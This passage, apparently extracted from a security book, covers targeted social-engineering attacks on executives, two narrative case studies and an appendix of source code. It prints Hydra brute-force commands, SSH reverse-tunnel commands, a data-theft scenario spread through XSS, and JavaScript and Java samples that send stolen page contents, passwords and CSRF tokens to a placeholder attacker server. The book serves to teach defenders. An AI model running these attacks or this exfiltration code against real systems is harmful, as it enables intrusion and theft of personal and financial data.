Assistant\nInstead of going after the executive directly, an attacker could also choose to target the\nexecutive’s assistant. Typically, an executive doesn’t receive her email directly. A third\nparty, usually an assistant, will answer emails on the executive’s behalf. Any emails the\nassistant has trouble answering can then be forwarded to the executive.\nThis is an additional level of scrutiny that could affect the attacker. However, the at-\ntacker could use the “middleman” to his benefit. If the assistant has access to the ex-\necutive’s email, compromising the assistant’s machine might be just as damaging as\ncompromising the executive directly.\nTrusted circle attack on the assistant\nIn the previous example, the attacker sent an email to the executive that seemed to be\nfrom a member of the executive’s trusted circle. This attack could also work on the\nassistant by sending an email from a member of her trusted circle.\n238 | Chapter 9: Hacking Executives: Can Your CEO Spot a Targeted Attack?\nDownload at WoWeBook.Com\n" }, { "page_number": 255, "text": "Instead of using investment sites or professional social sites such as LinkedIn.com, the\nattacker could use social sites such as Facebook.com and MySpace.com, both of which\nare in the Top 20 most visited websites on the Internet. If the assistant happens to visit\nthese sites from her corporate computer, she could be exposing herself and the execu-\ntive she works for to a wide range of attacks.\nIf the assistant has both MySpace and Facebook accounts, a simple gap analysis could\ntell the attacker which friends are on one site and not the other site. The attacker could\npose as one of the assistant’s friends to harbor a trust relationship with the victim.\nIf the attacker notices that one of the assistant’s friends, Melissa, has a MySpace account\nand not a Facebook account, the attacker could create an account on Facebook and\ninsert the same details that are found on MySpace. For additional validity, the attacker\ncould upload a picture of Melissa to Facebook. This will make the attacker’s account\nseem as though it is actually Melissa’s Facebook account.\nThe attacker then could send a friend request from Facebook, posing as Melissa, to the\nassistant. If the assistant accepts the Facebook friend request, the attacker has created\na harbor of trust between himself and the assistant.\nOnce he has established this trust, the attacker can exploit the trust by sending Melissa\na malicious email attachment or some other damaging payload.\nLeveraging the assistant’s trust\nEarlier we mentioned that the assistant might act as a middleman for the executive’s\nemail. If the assistant is “weeding out” all of the email that isn’t for the executive, does\nthe executive unintentionally trust the email that the assistant forwards to her?\nIf the executive does implicitly trust the email the assistant forwards, the attacker could\nleverage this to his benefit. Would the assistant hesitate in forwarding an email from\nthe company’s CFO with an Excel spreadsheet attachment titled “Q4 Numbers.xls”?\nThe attacker could have sent this email with a malicious macro embedded in the\nspreadsheet.\nThis type of relationship between the assistant and the executive is clearly beneficial to\nthe attacker. The executive trusts what the assistant sends her, and the assistant is\nrequired to forward “important” email.\nMemory Sticks\nBusinesses are constantly using memory sticks as a way to distribute business infor-\nmation to potential partners and clients. These memory sticks can contain an executive\npresentation or documents explaining potential investment opportunities. Businesses\nwill even give these memory sticks away at conferences as “free” swag.\nPlugging one of these memory sticks into a computer can be extremely destructive.\nPrograms such as Switchblade have been created to pull all of the sensitive information\nAttack Scenarios | 239\nDownload at WoWeBook.Com\n" }, { "page_number": 256, "text": "from a personal computer and keep it on the stick. An attacker could easily modify\nsuch programs to install malicious software on a victim’s machine and create a bidir-\nectional link from the compromised machine to the attacker.\nYou can download more information about programs such as Switch-\nblade, as well as potential attack vectors and use cases, from http://gon\nzor228.com/download/.\nAn attacker could leverage these memory sticks for his own destructive purposes. The\nmemory stick could be given to multiple executives at conferences, golf clubs, or airport\nfrequent flyer clubs, places that executives tend to gather.\nExecutives could also receive packages at their corporate mailboxes. The package could\ncontain a one-page marketing proposal designed to coax the targeted executive to plug\nthe malicious memory stick into her corporate machine. Documents such as Power-\nPoint presentations and marketing material would keep the executive busy while the\nmalicious software was installed.\nIn using this attack, the attacker would make an initial investment to design and pro-\nduce the “fake” marketing material that would give the executive an incentive to plug\nthe memory stick into her machine. A few dollars invested up front could create a\nwindfall of income from the executive doing something as simple as plugging a memory\nstick into her corporate computer.\nSummary\nAttackers will break away from their traditional opportunistic attacks and begin tar-\ngeting their victims. With the emergence of sites such as LinkedIn and Facebook, at-\ntackers are presented with the opportunity to target an individual. Targeting specific\nindividuals, such as executives, provides an attacker the opportunity to benefit finan-\ncially while decreasing the amount of risk he is exposed to.\nSecurity administrators need to allow their users to browse the Internet and check their\nmail. Due to this, administrators will have a difficult time deterring the attacks pre-\nsented in this chapter.\n240 | Chapter 9: Hacking Executives: Can Your CEO Spot a Targeted Attack?\nDownload at WoWeBook.Com\n" }, { "page_number": 257, "text": "CHAPTER 10\nCase Studies: Different Perspectives\nHacking is not just a skill set. It is also a mindset. As we have shown in this book,\nattackers have been and will continue to exploit a combination of vulnerabilities to get\nwhat they want.\nIn Chapter 9, we looked at specific examples of how a determined attacker is able to\ntarget executives. In this chapter, we will take a look at two examples that further\nillustrate the motivations of attackers from two different perspectives.\nIn the first case study, we will look at a situation in which a disgruntled employee\nchooses to exploit his former employer after resigning and moving on to a competitor.\nIn this example, the former employee’s actions are primarily driven by his emotions.\nThe second case study illustrates a typical corporate scenario. In this example, we will\nsee how an executive in charge of information security at a major corporation is per-\npetually wooed by security product vendors who continually promise him the ultimate\nsilver bullet: “just buy our latest product, plug it in, and you will be safe.” Meanwhile,\nan external attacker is able to use crafty techniques to exploit vulnerabilities and com-\npromise confidential data from the corporation.\nThe Disgruntled Employee\nIt is often assumed that the motivation on the part of malicious parties targeting a given\ncorporation is only to seek financial gain. This isn’t always the case. Those who decide\nto abuse and steal data from a given target can also be driven by their emotions. After\nall, attackers are human beings, too. In this case study, we will see how a disgruntled\nindividual is able to exploit gaps in his former employer’s infrastructure, not for mere\nfinancial gain but to ultimately quench his desire to seek vengeance.\nThe Performance Review\nNick Daniels considered it a privilege to work for Jack Graham. Nick was senior man-\nager of sales. He reported to Jack, vice president of sales and marketing. Nick and Jack\n241\nDownload at WoWeBook.Com\n" }, { "page_number": 258, "text": "got along very well. Nick’s utmost priority was to make Jack look good while Jack did\nhis best to protect and shield Nick from Acme, Inc.’s bureaucratic culture. The rela-\ntionship between Nick and Jack was quite informal and it worked well.\nNick received a call from Jack to go over his yearly performance review. Nick knew he\nhad performed well, yet Jack gave him a rating of 7 out of 10. What came next was a\nsurprise: Nick wasn’t up for a promotion this year and his pay was to be cut by 5%.\nJack explained that due to the dwindling economic climate, Acme faced budget and\nstaff cuts, yet he was able to save Nick’s position from termination and this was the\nbest he could do.\nJack handed Nick a printout of the summary of his performance feedback report, as\nshown in Figure 10-1. Nick was disappointed in the outcome because he knew he had\noutperformed all of his peers in sales numbers.\nFigure 10-1. Printout of Nick Daniels’s performance review summary\n242 | Chapter 10: Case Studies: Different Perspectives\nDownload at WoWeBook.Com\n" }, { "page_number": 259, "text": "At the bottom of the printout, Nick noticed the URL http://performance.corp.acme.com/\nfedbacksummary?emp=2910133. Nick browsed directly to the URL from his web\nbrowser and noticed that he could view the exact summary report in the printout even\nthough he had not authenticated to the “performance” web application.\nNick assumed that if he wasn’t up for a promotion this year and if his pay was to be\ncut by 5% due to economic conditions, his peer, John Chen, would probably fare much\nworse. After all, John brought in less than half of the sales numbers Nick was able to\nmanage.\nEmployee IDs are not secret at Acme. Nick looked up John’s employee ID; it was\n3421298. Next, he browsed to http://performance.corp.acme.com/fedbacksummary?\nemp=3421298, which revealed John’s performance review, as shown in Figure 10-2.\nNick was stunned. Not only was John’s review more flattering, but John was also being\nrecommended for a promotion to director.\nNick turned in his resignation to his boss the next day.\nSpoofing into Conference Calls\nWithin a few weeks, Nick secured a job at AcmeToo, Inc., a competing firm. Nick was\nnow vice president of sales and marketing at AcmeToo. He was glad he had quit his\nold job; it turned out to be good for his career.\nNick’s BlackBerry calendar still contained entries from his old job. Today was the sec-\nond Monday of the month, when Jack Graham and the team at Acme held their monthly\nsales update call at 9:00 a.m. The call-in number was 800-333-3333 and the conference\nnumber was 9854342. It was 8:50 a.m. Nick decided to call in and put his phone on\nmute. He wanted to listen in on Acme’s sales pipeline.\nBut what if someone at Acme found out? Nick wondered whether he should be calling\ninto the conference from his work phone or his personal mobile phone. That would\nallow Acme to be able to trace the call. Having used the SpoofCard service to prank his\ncousin a few months ago, Nick decided to call from his desk phone but have the Spoof-\nCard service spoof the caller ID. This would make his phone call to the conference\nuntraceable.\nThe SpoofCard service can be used to spoof caller ID. It is available at\nhttp://spoofcard.com/.\nFor the next few months, Nick called in to every bimonthly sales update call Acme held,\nand listened in. The conference call system would beep to alert the host that a new\nperson had joined, but given the large number of individuals on the call, no one at Acme\npaid much attention to it. Nick was able to steal Acme’s sales data, including new leads\nThe Disgruntled Employee | 243\nDownload at WoWeBook.Com\n" }, { "page_number": 260, "text": "to sales opportunities. On multiple occasions, Nick used the data he obtained from the\ncalls to bid on projects just a few dollars below Acme’s bid. One time, the Acme team\nblurted out two test usernames and passwords to a third-party–hosted wiki system they\nwere testing. These accounts were never deleted, and Nick was able to log into the wiki\n(using the Tor onion network to cover his tracks) for months afterward to obtain con-\nfidential sales data and contact information for potential sales leads.\nTor is a free service that uses onion routing to allow users to commu-\nnicate on the Internet anonymously. The Tor project is located at http:\n//www.torproject.org/.\nFigure 10-2. John Chen’s performance review summary\n244 | Chapter 10: Case Studies: Different Perspectives\nDownload at WoWeBook.Com\n" }, { "page_number": 261, "text": "The Win\nNick continuously leveraged information he obtained from Acme’s sales calls for his\nown benefit. In the next year, Nick was able to overtake Acme’s business revenue.\nOn the morning of June 1, 2009, Nick learned that AcmeToo had won the bid on a\nmajor project. He knew this would be a big blow to his former employer, especially to\nhis former boss, Jack, who had also been competing to win the same project.\nOn the afternoon of June 2, 2009, Nick noticed a new Twitter message posted by his\nformer boss (see Figure 10-3). Nick knew exactly why Jack was frustrated. Jack was\nprobably going to be fired for losing the bid. This made Nick feel good. Jack got what\nhe deserved.\nFigure 10-3. Twitter message posted by Nick’s former boss\nThis case study illustrates two important points. First, attackers, especially in the case\nof former employees, can be motivated on grounds other than financial gain. In this\ncase, Nick’s actions were primarily based on his emotions. Second, the tactics attackers\nuse to significantly disrupt the business of an entire corporation are not necessarily\nbased on complex techniques that target software or network infrastructures. In this\ncase, Nick exploited a simple flaw in a web application and then used the company’s\ntelephone conference call information to listen in on confidential information after he\nresigned. Nick did not use any complex techniques, yet Acme, Inc.’s sophisticated\nnetwork firewalls and intrusion detection systems (IDSs) were unable to detect his act\nof stealing information by listening in on the conference call.\nThe Silver Bullet\nNumerous companies are in the business of selling security products and software:\nnetwork firewalls, application firewalls, intrusion prevention systems (IPSs), data loss\nprevention systems, network access control systems, application scanners, and static\ncode analyzers—the list goes on and on.\nThe Silver Bullet | 245\nDownload at WoWeBook.Com\n" }, { "page_number": 262, "text": "Security products and software offer enormous aid to corporations that want to secure\ntheir data and reputation. The solutions they offer, in orchestrated combination, are\nnecessary and useful in helping to protect any company from intruders. Unfortunately,\nmany corporations end up making decisions that are influenced by marketing speak\nfrom the security product vendors who often promise them the silver bullet: “buy our\nproduct and you will be safe from all types of attacks.”\nIn this case study, we will take a look at how individuals responsible for protecting the\ndata and reputation of a company often lose sight of the big picture of risk management,\nand end up buying the promise of the ultimate silver bullet.\nThe Free Lunch\nAs vice president of security engineering for Acme, Inc., a major credit card company,\nHaddon Bennett was responsible for securing his employer’s systems from criminals.\nHe had a team of 24 direct reports, responsible for day-to-day security operations,\nwhich included monitoring of events from IDSs. His team was also responsible for\nproviding guidance to the company’s various business units on security best practices.\nIn three months, Haddon was due to present his strategy and plan of action for the next\nfiscal year. After having been awarded a $4 million budget last year, Haddon wanted\nto ask for additional money this time around. He wanted to hire more full-time em-\nployees and spend more money on security tools. At the board meeting, Haddon was\ngoing to ask for a $15 million budget.\nHaddon knew that to ask for a budget of $15 million for the next fiscal year, he couldn’t\njust show up at the board meeting and talk about network access control (NAC) be-\ncause he had already talked about NAC last year. Haddon wanted to impress the board\nby demonstrating a new security solution that he could recommend the company pur-\nchase. The board would be impressed at the promise of enormous risk reduction and\nHaddon would get his budget approved.\nHaddon picked up his desk phone and called his buddy, Dave Hannigan. Dave worked\nfor VigilSecurity, a company specializing in network security products. Haddon let\nDave know he was interested in piloting VigilSecurity’s web application firewall prod-\nuct. Dave knew the deal was his if he could help Haddon successfully demonstrate to\nthe board how important it was for the company to buy this product. Dave also knew\nthat to keep Haddon from approaching other vendors, he had to buy Haddon a few\nfree lunches. Haddon loved free perks from vendors. It made him feel important.\nDave Hannigan and Haddon Bennett met at a nearby restaurant during happy hour\nlater that day. Dave promised Haddon a successful pilot. They decided they would\ninstall VigilSecurity’s application firewall product on the company’s main web server.\nAt the board meeting, Haddon would demonstrate the capability of the web application\nfirewall to the board by attempting to launch SQL injection attacks against the com-\npany’s website. The web application firewall would detect the attacks and thwart them.\n246 | Chapter 10: Case Studies: Different Perspectives\nDownload at WoWeBook.Com\n" }, { "page_number": 263, "text": "Such a live demonstration would make Haddon look credible and he would get his\nbudget approved.\nThe SSH Server\nEric Smith, located in Alpharetta, Georgia, a good 2,000 miles away from Acme’s data\ncenters, was determined to steal as much confidential data from Acme as possible. His\naim was to construct a list of hundreds of thousands of credit card numbers that he\nwould then sell for a premium in the underground market.\nAfter port-scanning Acme’s address space for a whole day, Eric finally found an SSH\nserver he could connect to:\nPORT STATE SERVICE\n22/tcp open ssh\nPort 22, open and listening to the world—finally! Eric tried to log in with the username\ntest:\nPassword: acme\nPassword: acmeacme\nPassword: 4cme4cm3\nPermission denied (gssapi-keyex,gssapi-with-mic,publickey,keyboard-\ninteractive,hostbased).\nAfter a few more attempts at guessing passwords, the SSH server stopped responding.\nEric correctly guessed that an IPS was in place that had detected too many failed login\nattempts and had blocked all traffic from his IP address.\nEric quickly hopped on to his neighbor’s wireless access point. This enabled him to\nconnect to the SSH server from a different source IP. But at this point, Eric knew his\nattempts at brute-forcing his way into the SSH server would yield little result.\nEric’s unsuccessful login attempts showed up in Acme’s IPS logs. One of the security\nengineers glanced at the data the next morning, but it didn’t show anything unusual.\nMultiple parties brute-forced services on Acme’s networks multiple times almost every\nday. It was business as usual.\nMeanwhile, Eric decided that to gain access to the SSH server without causing a lot of\nnoise, he needed to grab hold of a few usernames that were likely to exist on the SSH\nserver and then try to guess the passwords. A quick search for “Acme SSH” on http://\ngroups.google.com/ yielded the following post:\nNewsgroups: linux.admin.isp\nFrom: Greg Nedostup \nDate: 6/1/2009\nSubject: Help with SSH server / disable root login\nThe Silver Bullet | 247\nDownload at WoWeBook.Com\n" }, { "page_number": 264, "text": "Hello,\nSo I’m responsible for administering an SSH server facing the Internet that is mainly used\nby our admins to port forward into our corporate network.\nI’ve already set up and enabled sudo. But I can’t figure out how to disable the root account\nfrom logging in remotely via SSH. I’ve tried editing sshd.conf but I’m not sure what option\nto enable or disable.\nGreg\nIn this post to the linux.admin.asp newsgroup, Greg Nedostup of Acme, Inc., was\nseeking assistance from the Linux community. It was quite likely that the SSH server\nGreg was discussing in this post was the same one Eric was trying to gain access to,\nbecause based on Eric’s port scan of Acme’s IP address space, only one host had an\nSSH server running. Based on Greg’s post, Eric was able to ascertain the following\ninformation: it is likely that the username gnedostup existed on the SSH server, it is\npossible that Greg had figured out how to disable the root account from logging in,\nand the SSH server can be used to connect to Acme’s intranet.\nEric checked his port scan results again. Another IP address belonging to Acme seemed\nto have an FTP server running. Eric tried to log in to this server with the username\ngnedostup:\n220 Service ready for new user\nUsername: gnedostup\n331 User name okay, need password for gnedostup\nPassword: acme\n530 Access denied\nftp: Login failed.\n220 Service ready for new user\nUsername: gnedostup\n331 User name okay, need password for gnedostup\nPassword: acmeacme\n530 Access denied\nftp: Login failed.\n220 Service ready for new user\nUsername: gnedostup\n331 User name okay, need password for ngedostup\nPassword: 4cme4cm3\n530 Access denied\nftp: Login failed.\nStill no luck. However, Eric realized, much to his surprise, that this particular FTP\nserver was not bound by the IPS. This meant he could attempt a brute force password\nattack against the FTP server. Eric fired up the Hydra password brute force tool and\npointed it toward the FTP server:\n$ ./hydra -L gnedostup -P passwords.txt ftp.acme.com ftp\nHydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.\nHydra (http://www.thc.org) starting at 2008-12-09 13:56:39\n[DATA] attacking service telnet on port 22\n248 | Chapter 10: Case Studies: Different Perspectives\nDownload at WoWeBook.Com\n" }, { "page_number": 265, "text": "[22][ftp] login: gnedostup password: 53cr3t123\n[STATUS] attack finished for example.com (waiting for childs to finish)\nIn this case, the passwords.txt file is a text file containing thousands of\ncommonly used passwords for Hydra to attempt during the brute forc-\ning process. You can download Hydra from http://freeworld.thc.org/thc\n-hydra/.\nEric now had Greg’s password for the FTP server (53cr3t123). He tried to log in to the\nSSH server with the same password:\n$ ssh ssh.acme.com -l gnedostup\nroot@172.16.179.128's password: 53cr3t123\nLast login: Fri May 22 00:35:35 2009 from 127.0.0.1\n[localhost ~]$ ifconfig eth1\neth1 Link encap:Ethernet HWaddr 00:0C:29:D0:42:BB\n inet addr:172.16.179.128 Bcast:172.16.179.255 Mask:255.255.255.0\n inet6 addr: fe80::20c:29ff:fed0:42bb/64 Scope:Link\n UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1\n RX packets:64458 errors:0 dropped:0 overruns:0 frame:0\n TX packets:63878 errors:0 dropped:0 overruns:0 carrier:0\n collisions:0 txqueuelen:1000\n RX bytes:9748919 (9.2 MiB) TX bytes:13050993 (12.4 MiB)\n Interrupt:67 Base address:0x2000\nEric had gained access to the SSH server. He noted that the intranet IP address for the\nSSH server was 172.16.179.128.\nTurning the Network Inside Out\nEric logged out of the SSH server and then logged back in with a different SSH\ncommand:\n$ ssh ssh.acme.com -l gnedostup -R *:31337:localhost:31337 -D 8080\nroot@172.16.179.128's password: 53cr3t123\nLast login: Fri May 22 00:35:35 2009 from 127.0.0.1\n[localhost ~]$\nThe -D option in SSH causes the client to be able to tunnel traffic via the server using\nthe SOCKS4 protocol. This enabled Eric to browse the websites internal to Acme by\nconfiguring his web browser’s settings and specifying 127.0.0.1 (his own machine) as\nthe SOCKS4 server on port 8080. Also by specifying the -R switch, Eric had set up a\ntunnel between his computer and the SSH server: whenever anyone on Acme’s internal\nnetwork connected to port 8080 on IP address 172.16.179.128, the connection would\nbe forwarded to port 8080 on Eric’s computer through the established SSH tunnel.\nEric had an executable, called SSN_TXT_NET.EXE, a simple C program he had written\na few weeks ago, that would scan a user’s My Documents directory on Windows, find\nall text files that had patterns that included Social Security numbers (123-45-6789),\nand connect to a specified IP address on a specified port number to deliver the files\nThe Silver Bullet | 249\nDownload at WoWeBook.Com\n" }, { "page_number": 266, "text": "captured. Eric edited the original C program, SSN_TXT_NET.C, and added the fol-\nlowing constants:\n#define DEST_IP \"172.16.179.128\"\n#define DEST_PORT 8080\nHe recompiled the C file into an EXE file and renamed the EXE file to\nACME_CONFICKR_PATCH.EXE.\nEric had another C program that he executed on his Unix machine that would act as\nthe server and capture all the data submitted:\n[cireallin ~]# ./collect_ssn_txt -p 8080 -v -o capture.txt\nVerbose mode on\nListening on port 8080 [15 threads]\nCapturing into capture.txt\nNow, all Eric needed was to plant ACME_CONFICKR_PATCH.EXE on the desktops\nof as many Acme employees as possible and get them to execute it.\nThrough the SSH SOCKS4 proxy he had established earlier, Eric browsed to http://\n10.0.1.9, a website on Acme’s internal network.\nIn this case study, Eric browsed to the website using the specific IP ad-\ndress (http://10.0.1.9/) because SOCKS4 does not tunnel Domain Name\nSystem (DNS) servers, so Eric needed to specify the actual IP address to\nthe browser.\nEric looked up the hostname for 10.0.1.9 on the SSH server that had access to Acme’s\ninternal DNS:\n[localhost ~]$ host 10.0.1.9\n10.0.1.9 domain name pointer intranet.acme.com\nEric realized that the website on http://10.0.1.9 was the main intranet portal available\nto employees to check on company news and request payroll services. After spending\nsome time browsing through the site, Eric noticed that the website was vulnerable to\npersistent cross-site scripting (XSS). Very quickly, Eric abused the XSS to inject the\nfollowing HTML payload onto the website:\n\n\nAs soon as Eric injected the XSS payload onto Acme’s intranet portal, every employee\nwho visited the website saw the pop-up message illustrated in Figure 10-4.\n250 | Chapter 10: Case Studies: Different Perspectives\nDownload at WoWeBook.Com\n" }, { "page_number": 267, "text": "Figure 10-4. XSS pop up displayed to Acme’s employees\nFor more details on XSS, see Chapter 2.\nAs soon as employees clicked OK in the pop up in Figure 10-4, they were served the\nACME_CONFICKR_PATCH.EXE file (see Figure 10-5). Most employees diligently\nexecuted the EXE file to abide by the notice to run the patch as soon as possible.\nFigure 10-5. ACME_CONFICKR_PATCH.EXE served to Acme employees\nWithin a matter of seconds, Eric’s console started buzzing with activity:\n[cireallin ~]# ./collect_ssn_txt -p 8080 -v -o capture.txt\nVerbose mode on\nListening on port 8080 [15 threads]\nCapturing into capture.txt\n[13:40:02] Connect from 127.0.0.1:8080. Logged 252 lines.\n[13:40:09] Connect from 127.0.0.1:8080. Logged 333 lines.\n[13:40:34] Connect from 127.0.0.1:8080. Logged 22 lines.\n[13:40:42] Connect from 127.0.0.1:8080. Logged 1983 lines.\n[13:40:55] Connect from 127.0.0.1:8080. Logged 13293252 lines.\nEric checked the contents of capture.txt. He had hit a gold mine based on the most\nrecent log entry on 13:40:55. The capture.txt file now contained credit data on hundreds\nThe Silver Bullet | 251\nDownload at WoWeBook.Com\n" }, { "page_number": 268, "text": "of thousands of individuals, including their credit card numbers, bank account\nnumbers, and credit history. Eric was ecstatic! He had compromised a major credit\ncard company! He had already collected enough data to compromise the financial\nidentities of thousands of citizens.\nA Fool with a Tool Is Still a Fool\nHaddon was in his office, talking with Dave Hannigan of VigilSecurity. James Pineau,\nmanager of incident response, interrupted him.\nJames: Hey, sorry to interrupt. Do you have a quick second?\nHaddon: Sure. What’s up?\nJames: I just got a call from IT Operations. The corporate website is asking users to\ndownload a patch for the Confickr virus. I’m not sure if anyone has authorized it.\nHaddon: Have you tried asking the patch management group? Did you run the\nVigilSecurity security scanner against the corporate website?\nJames: We ran a scan last week. It found a cross-site scripting issue that is being patched\nby the dev team. Nothing to do with the Confickr virus, though. I’ll reach out to patch\nmanagement, too.\nJames left Haddon’s office. He never comprehended how the XSS vulnerability that the\nautomated scanner found could be responsible for the issue being reported. Eventually,\nIT Operations reverted the HTML on the corporate website to remove the XSS payload\nthat the attacker inserted.\nHaddon returned to his meeting with Dave. They decided to continue their discussion\non setting up a pilot of VigilSecurity’s new application firewall over beers later that day.\nDave was happy—his relationship with Haddon was going great. Haddon was happy,\ntoo—he knew this pilot would demonstrate to the board that they needed to award\nhim the budget he was asking for. After all, Acme’s brand and reputation were at stake!\nThis case study illustrates how attackers cross-pollinate vulnerabilities to get what they\nwant. In this case, the attacker was able to use the FTP server to brute-force a password\nthat also worked on the SSH server. He used the SSH server to jump into the company’s\ninternal network, and then used an internally vulnerable web application to launch a\nsocial engineering attack against the employees. The computers of employees who fell\nvictim to the attack connected back to the attacker’s computer through the SSH server\nand supplied the attacker with the data he was looking for.\nIn addition to technical issues, this case study also illustrates strategic shortcomings\nthat can put a corporation at risk. In this case, Haddon, the executive responsible for\nsecuring the organization, seemed to rely solely on the ability of security products to\nhelp him secure the organization. However, a security product or tool is not very useful\nif the individuals using it cannot comprehend its output. In this case, the\nVigilSecurity scanner did indeed locate the XSS issue, but Haddon and James were not\nable to recognize and correlate the issue to the incident.\n252 | Chapter 10: Case Studies: Different Perspectives\nDownload at WoWeBook.Com\n" }, { "page_number": 269, "text": "Summary\nThis chapter illustrated important yet wholly different scenarios that offer two entirely\ndifferent perspectives. In the first case study, we discussed a scenario in which the\nattacker is motivated by his emotional faculties. The actual techniques the attacker\nemployed in this case study were not complex, yet the consequences of his actions are\ndevastating to the targeted corporation, in addition to being virtually undetectable by\nnetwork firewalls and intrusion prevention systems that are often wholly depended\nupon to be the gatekeepers of a company’s intellectual property.\nIn the second scenario, we discussed how an attacker was able to gain access to confi-\ndential data belonging to a corporation by cross-pollinating vulnerabilities from dif-\nferent systems and applications. This case study also demonstrated the real possibility\nof risk and negligence being introduced into a corporation in situations where execu-\ntives are continuously influenced by the quest for silver bullet solutions instead of bas-\ning their strategy on a holistic risk-based approach that is coupled with the right amount\nof talent.\nIn addition to the specific scenarios we presented, this chapter demonstrated the com-\nplexity of real-world security incidents that are based on varying motivators and the\ncross-pollination of vulnerabilities.\nFor any given corporation, the quest toward risk reduction and information security\nmay seem chaotic to even the most seasoned professionals. The security team must\nreduce risk without getting in the way of revenue-generating business units, in addition\nto complying with the plethora of never-ending regulations. To bring some order to\nthis chaos, corporations and individuals need to understand the capabilities of their\nadversaries. The authors sincerely hope that this book has provided you with a head\nstart in your quest to comprehend the skill set and the mindset of attackers who are\nout there today.\nSummary | 253\nDownload at WoWeBook.Com\n" }, { "page_number": 270, "text": "Download at WoWeBook.Com\n" }, { "page_number": 271, "text": "APPENDIX A\nChapter 2 Source Code Samples\nThe following sections contain source code samples from Chapter 2.\nDatamine.js\nfunction spotter(){\nvar bigframe=parent.document.documentElement.innerHTML;\niframeHTML='';\niframeHTML+='';\niframeHTML+='';\niframeHTML+='';\ndocument.body.innerHTML=iframeHTML;\nsetInterval('controlFrameFunction()',10000);\nvar victimFrame = document.getElementById('Picture');\nvar newVictimContents = bigframe.replace(\"Datamine.js\",\"noresponse.js\");\nvar newVictimFrame = victimFrame.contentWindow.document;\nnewVictimFrame.open();\nnewVictimFrame.write(newVictimContents);\nnewVictimFrame.close();\ndocument.all.Picture.style.visibility=\"visible\";\n}\nfunction controlFrameFunction()\n{\nvar controlFrameHTML = \"\";\ncontrolFrameHTML += \"\";\ncontrolFrameHTML += \"\";\nvar controlFrame = document.getElementById('Control');\nvar controlContents = controlFrameHTML;\nvar newControlContents = controlFrame.contentWindow.document;\nnewControlContents.open();\nnewControlContents.write(controlContents);\nnewControlContents.close();\n}\nPingback.js\ndocument.write('');\nvar randomnumber=Math.floor(Math.random()*1000001);\nfunction pingback()\n{\n var bigframe=document.documentElement.innerHTML;\n iframeHTML='';\n iframeHTML+='';\n iframeHTML+='';\n document.body.innerHTML=iframeHTML;\n setInterval('controlFrameFunction()',5000);\n var victimFrame = document.getElementById('myFrame');\n var newVictimContents =\nbigframe.replace(\"external-spot.js\",\"noresponse.js\");\n var newVictimFrame = victimFrame.contentWindow.document;\n newVictimFrame.open();\n newVictimFrame.write(newVictimContents);\n newVictimFrame.close();\n}\nfunction controlFrameFunction()\n{\n var controlFrameHTML = \"\";\n controlFrameHTML += \"\";\n controlFrameHTML += \"\";\n controlFrameHTML += \"\";\n var controlFrame = document.getElementById('myFrame2');\n var controlContents = controlFrameHTML;\n var newControlContents = controlFrame.contentWindow.document;\n newControlContents.open();\n newControlContents.write(controlContents);\n256 | Appendix A: Chapter 2 Source Code Samples\nDownload at WoWeBook.Com\n" }, { "page_number": 273, "text": " newControlContents.close();\n}\nExternal-datamine.js\nXHR(\"/NmConsole/UserManagement.asp\");\nXHR('/NmConsole/UserEdit.asp?nWebUserID=1');\nfunction XHR(url)\n{\n xmlhttp=null\n if (window.XMLHttpRequest)\n {\n xmlhttp=new XMLHttpRequest();\n }\n else if (window.ActiveXObject)\n {\n xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');\n }\n if (xmlhttp!=null)\n {\n xmlhttp.onreadystatechange=state_Change;\n xmlhttp.open(\"GET\",url,true);\n xmlhttp.send(null);\n }\n else\n {\n }\n}\nfunction state_Change()\n{\n // if xmlhttp shows \"loaded\"\n if (xmlhttp.readyState==4);\n {\n // if \"OK\"\n XHRsniperscope(xmlhttp.responseText);\n }\n}\nfunction XHRsniperscope(contents)\n{\n var browser=navigator.appName;\n var b_version=navigator.appVersion;\n var version=parseFloat(b_version);\n if (browser==\"Microsoft Internet Explorer\")\n {\n XHRIEsniperscope(contents);\n }\n else\n {\n XHRfirefoxsniperscope(contents);\n }\nExternal-datamine.js | 257\nDownload at WoWeBook.Com\n" }, { "page_number": 274, "text": "}\nfunction XHRfirefoxsniperscope(contents1)\n{\n var encodedcontent = escape(contents1);\n sniperscopeimage = new Image();\n sniperscopeimage.src =\n\"http://AttackerServer parameter.gif?XHRcontent=\"+encodedcontent;\n}\nfunction XHRIEsniperscope(contents2)\n{\n var HTMLcontents = escape(contents2);\n var frame3html ='\", 0) +17;\n endpassword = stolenstuff.indexOf(\"\",0);\n begintoken = stolenstuff.indexOf(\"token value=\", 0) +12;\n endtoken = stolenstuff.indexOf(\"/>\",begintoken);\n g.drawString(\"Your GoogleCode Password: \" +\n260 | Appendix A: Chapter 2 Source Code Samples\nDownload at WoWeBook.Com\n" }, { "page_number": 277, "text": " stolenstuff.substring(beginpassword, endpassword),20,60);\n g.drawString(\"code.google.com CSRF token: \"\n+stolenstuff.substring(begintoken, endtoken),20,100);\n g.setColor(Color.black);\n}\n}\nHiddenClass.java\nimport java.applet.*;\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.awt.*;\nimport org.w3c.dom.*;\nimport javax.xml.parsers.*;\n// Multi-purpose class made to demonstrate\n// the dangers of insecure content ownership.\n// By: Billy (BK) Rios\npublic class HiddenClass extends Applet\n{\n Font bigFont = new Font(\"Arial\",Font.BOLD,16);\n // I explicitly declare this stuff public so that\n // javascript can access this value\n public String jackedstuff = \"\";\n // The method that will be automatically called\n // when the applet is started\n public void init()\n {\n setBackground(Color.black);\n String mymethod;\n String myrequest;\n String myhost;\n String myreferer;\n String myparameters;\n mymethod = getParameter(\"Method\");\n if (mymethod != \"GET\" || mymethod != \"POST\")\n {\n mymethod = \"GET\";\n System.out.println(\"No Method specified! Using GET\");\n }\n myrequest = getParameter(\"Request\");\n if (myrequest == null)\n {\n myrequest = this.getCodeBase().toString();;\n System.out.println(\"No Request specified! Using Default\");\n }\nHiddenClass.java | 261\nDownload at WoWeBook.Com\n" }, { "page_number": 278, "text": " myhost = getParameter(\"Host\");\n if (myhost == null)\n {\n myhost = this.getCodeBase().getHost().toString();;\n System.out.println(\"No Host specified! Using Default\");\n }\n myreferer = getParameter(\"Referer\");\n if (myreferer == null)\n {\n myreferer = this.getCodeBase().toString();\n System.out.println(\"No Referer specified! Using Default\");\n }\n myparameters = getParameter(\"Params\");\n if (myparameters == null)\n {\n myparameters = \"\";\n System.out.println(\"No Params specified! Using Default\");\n }\n 